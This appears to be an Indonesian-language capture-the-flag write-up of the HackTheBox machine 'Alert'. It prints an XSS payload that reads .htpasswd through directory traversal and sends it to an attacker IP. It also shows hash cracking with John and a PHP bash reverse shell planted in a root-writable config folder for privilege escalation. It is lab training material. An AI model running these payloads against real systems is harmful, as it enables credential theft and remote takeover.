Skip to content
Home » Alert — HackTheBox Writeup

Alert — HackTheBox Writeup

  • Writeup

Halo semuanya, kali ini gw akan bahas salah satu mesin hackthebox, yaitu alert.

Seperti biasa, yang perlu kita lakukan pertama kali adalah melakukan scanning pada ip target dengan menggunakan nmap

└─# nmap -sSCV -O -A 10.10.11.44 -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-30 12:37 EST
Nmap scan report for 10.10.11.44
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Lin, Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 19.70 ms 10.10.14.1
2 19.83 ms 10.10.11.44

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.69 seconds

disini kita dapatkan bahwa port yang terbuka adalah 22 dan 80

ketika kita buka, maka tampilannya akan seperti ini

kita akan upload sebuah .md file yang dimana didalamnya terdapat script xss leverage to directory traversal

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.14.133:8888/?file_content=" + encodeURIComponent(data));
});
</script>

fungsi dari script xss ini adalah untuk melakukan ekstraksi pada file .htpasswd dari server target dan mengirimkannya ke server penyerang

prosesnya bagaimana ? Payload mencoba memanfaatkan kerentanan Directory Traversal di parameter file pada endpoint http://alert.htb/messages.php,file yang ditargetkan adalah file .htpasswd, yang biasanya berisi kredensial hashed (username dan password) untuk otentikasi pengguna.

kita upload filenya

kita pilih dibagian share markdown

jika sudah maka akan muncul new tab, yang terdapat link sharenya

kita beralih ke menu contact us, dan masukan link tersebut pada pesan kolom

buat listeningnya dengan menggunakan python

┌──(root㉿kali)-[~]
└─# python3 -m http.server 8888

jika sudah, kita click send. Maka pada listener kita dapatkan sebuah url encode value

Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.44 - - [30/Dec/2024 13:02:34] "GET /?file_content=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0...... HTTP/1.1" 200 -
10.10.14.133 - - [30/Dec/2024 13:13:20] "GET /?file_content=%0A HTTP/1.1" 200 -

jika kita decode dengan menggunakan url decoder, maka kita dapatkan value ini

<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdL..../
</pre>

disini terlihat sebuah kredensial dengan nama albert dan hashnya. Kita akan crack hash tersebut dengan menggunakan john

> john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long alerthash
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manch....... (albert)
1g 0:00:00:00 DONE (2024-12-31 01:21) 25.00g/s 70400p/s 70400c/s 70400C/s my3kids..medicina
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

kita bisa lihat dan dapatkan passwordnya. Selanjutnya kita akan gunakan kredensial itu untuk login pada ssh, sekaligus kita dapatkan user flagnya

└─# ssh albert@alert.htb     
The authenticity of host 'alert.htb (10.10.11.44)' can't be established.
ED25519 key fingerprint is SHA256:p09n9xG9WD+h2tXiZ8yi4bbPrvHxCCOpBLSw0o76zOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'alert.htb' (ED25519) to the list of known hosts.
albert@alert.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Mon 30 Dec 2024 06:08:44 PM UTC

System load: 0.01
Usage of /: 63.6% of 5.03GB
Memory usage: 16%
Swap usage: 0%
Processes: 250
Users logged in: 1
IPv4 address for eth0: 10.10.11.44
IPv6 address for eth0: dead:beef::250:56ff:feb9:2aa7


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Dec 30 16:49:05 2024 from 10.10.14.105
albert@alert:~$ cat user.txt
ef91dbb567648fd..............

selanjutnya kita akan lakukan privex, kita upload linpeas dan jalankan pada target

disini bisa kita lihat bahwa port 8080 pada target open dan running. Kita akan forward port tersebut

└─# ssh -L 8080:127.0.0.1:8080 albert@alert.htb
albert@alert.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

dan kita akan buka 127.0.0.1:8080 pada browser, tampilannya akan seperti ini

ketika kita lihat pada ssh, terdapat folder dari website monitor tersebut

dan folder config ini memiliki

albert@alert:/opt/website-monitor/config$ ls -ld
drwxrwxr-x 2 root management 4096 Dec 31 03:07 .

disini kita akan buat php reverse shell

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.133/1337 0>&1'"); ?>

dan kita nyalakan listeningnya

albert@alert:/opt/website-monitor/config$ nano joeg.php
albert@alert:/opt/website-monitor/config$ cat joeg.php
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.133/1337 0>&1'"); ?>

kita akses shellnya

kita akan spawn interaktif shellnya dan kita dapatkan root flagnya

└─# nc -lvnp 1337                   
listening on [any] 1337 ...
connect to [10.10.14.133] from (UNKNOWN) [10.10.11.44] 37124
python3 -c "import pty;pty.spawn('/bin/bash')"
root@alert:/opt/website-monitor/config# cd /root
cd /root
root@alert:~# ls
ls
root.txt scripts
root@alert:~# cat root.txt
cat root.txt
8ccd5cace3bbbe6.........

Leave a Reply

Your email address will not be published. Required fields are marked *